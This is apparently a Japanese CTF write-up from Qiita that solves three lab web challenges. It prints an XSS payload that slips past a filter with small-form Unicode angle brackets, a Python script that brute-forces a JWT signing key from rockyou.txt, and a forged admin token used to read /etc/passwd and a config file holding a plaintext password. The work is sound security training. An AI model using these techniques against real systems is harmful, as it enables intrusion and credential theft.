$ curl 'http://10.10.10.33/profile_success.php'   -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'   -H 'Accept-Language: ja,en-US;q=0.9,en;q=0.8'   -H 'Cache-Control: no-cache'   -H 'Connection: keep-alive'   -H 'Cookie: PHPSESSID=b83451ad3b602c3ec7c739927e7dc7c5'   -H 'Pragma: no-cache'   -H 'Referer: http://10.10.10.33/dashboard.php'   -H 'Upgrade-Insecure-Requests: 1'   -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36'   --compressed   --insecure

<!DOCTYPE html>
 :
                 <p><strong>名前:</strong> 西川 夏鈴</p>
                <p><strong>メールアドレス:</strong> karinnishikawa@zwoqaanb.hfh</p>
 :
                <p><strong>自己紹介:</strong> FLAG{1qaz7ujmbgt5}</p>

show_profile.php?id=1 だと profile_success.php に飛ぶが、 show_profile.php?id=0 は profile_error.php に飛ばされるので、ブラウザで普通に開くだけではダメ。

FLAG{1qaz7ujmbgt5}

Variation (20 pts)

http://10.10.10.32 のWebサーバーで下記形式の XSS を発生させ、フラグを入手してください。

"& はエスケープされるのに、 <> は消される。

http://10.10.10.32/greet?name[toString]=hoge でソースコードのファイル名と関数名は分かった。

TypeError: Cannot convert object to primitive value
    at vulnEscapeHtml (/usr/src/app/index.js:12:16)
    at /usr/src/app/index.js:90:27
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/usr/src/app/node_modules/express/lib/router/route.js:144:13)
    at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:114:3)
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at /usr/src/app/node_modules/express/lib/router/index.js:284:15
    at Function.process_params (/usr/src/app/node_modules/express/lib/router/index.js:346:12)
    at next (/usr/src/app/node_modules/express/lib/router/index.js:280:10)
    at expressInit (/usr/src/app/node_modules/express/lib/middleware/init.js:40:5)

これが分かってもな……。ヒント購入。

文字には様々な表現方法があります。

“<”、“>”の2文字がポイントです。

違う文字でも、ある変換によって同じ文字になることがあります。

全角の も消えることに気が付いた。 < に変換されて、消えない文字があれば良いのか。

﹤script﹥U+FE64U+FE65

http://10.10.10.32/greet?name=%EF%B9%A4script%EF%B9%A5alert(1)%EF%B9%A4/script%EF%B9%A5

FLAG{dfa23afjkl98}

Bruteforce (30 pts)

http://10.10.10.34:8000 からフラグを回収して下さい。 http://10.10.10.34:5000 で動作するプログラムの内容は、ctf-web-hard.pyに記載されています。

ctf-web-hard.py
from flask import Flask
from flask import jsonify
from flask import request

from flask_jwt_extended import create_access_token
from flask_jwt_extended import get_jwt_identity
from flask_jwt_extended import jwt_required
from flask_jwt_extended import JWTManager

app = Flask(__name__)


app.config["JWT_SECRET_KEY"] = "*************"
app.config["JWT_ACCESS_TOKEN_EXPIRES"] = False
app.config["JWT_REFRESH_TOKEN_EXPIRES"] = False
app.config["JWT_COOKIE_CSRF_PROTECT"] = False
app.config["JWT_ENCODE_NBF"] = False


jwt = JWTManager(app)


@app.route("/login", methods=["POST"])
def login():
    users = {}
    users['test'] = 'test'
    users['admin'] = '*************'
    username = request.json.get("username", None)
    print(username)
    password = request.json.get("password", None)
    print(password)
    if (not username in users) or (password != users[username]):
        return jsonify({"msg": "Bad username or password"}), 401

    access_token = create_access_token(identity=username)
    return jsonify(access_token=access_token)

@app.route("/protected", methods=["POST"])
@jwt_required()
def protected():
    current_user = get_jwt_identity()
    if current_user == "test" :
        return "ummm...."
    elif current_user == "admin" :
        filepath = request.json.get("filepath",None)
        f = open(filepath,'r')
        filedata = f.read()
        f.close()
        return jsonify(filedata), 200

if __name__ == "__main__":
    app.run(host="0.0.0.0")

JWTを改竄しろという問題に見えるが、今どきのライブラリを素直に使っていて alg=none が通るわけもないよなぁ……。

ヒント購入。

トークンで使用されている鍵の特定には、rockyou.txt を使用して下さい。

ここでタイトル回収か。

attack.py
import hmac
import hashlib
import base64

for key in open("../../rockyou.txt", "rb"):
  key = key.replace(b"\n", b"")

  x = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODg0Njg2NCwianRpIjoiNzJmOTUxNTYtM2IzMi00NzliLWIyOGItOWM3MWJjYWNkNDA3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ"
  x = x.encode()

  signature = base64.b64encode(hmac.new(key, x, hashlib.sha256).digest())
  signature = signature.decode()
  signature = signature.replace("/", "_").replace("+", "-").replace("=", "")
  if signature=="LbuQ4jv2lXFa9AirJY2Pv4FhIvg_zqSkLx1bg9MyR9M":
    print(key)
$ python3 attack.py
b'conankun'

https://jwt.io/testadmin に書き換えたトークンを作ると、 /protected が叩けるようになる。

$ curl -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODg0Njg2NCwianRpIjoiNzJmOTUxNTYtM2IzMi00NzliLWIyOGItOWM3MWJjYWNkNDA3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIn0.vUlDHqJZ8wedXJXGuuhpdrgs7l6o7CixDs9luMBxYBg' -d '{"filepath":"/etc/passwd"}' http://10.10.10.34:5000/protected
"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n"

/proc/self/cmdline からこのスクリプトのパス /var/www/ctf-web-hard.py が得られる。中身を覗くと、 admin のパスワードが分かるが、これでは http://10.10.10.34:8000 にログインできなかった。

/proc/1/cmdline 。

/usr/bin/python3 /usr/bin/supervisord -c /etc/supervisord.conf

/etc/supervisord.conf 。

[supervisord]
nodaemon=true

[program:ctf-web-hard]
command=/usr/bin/python3 /var/www/ctf-web-hard.py
autostart=true
autorestart=true

[program:http_server_auth]
command=/usr/bin/python3 /var/www/ZQ4zgfia2Kfi/http_server_auth.py --username admin --password EG5f9nPCpKxk
autostart=true
autorestart=true 

admin:EG5f9nPCpKxk で http://10.10.10.34:8000 にログインできて、フラグっぽい名前のディレクトリがあった。

FLAG{pLi5lfm8hJK7}

3
5
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?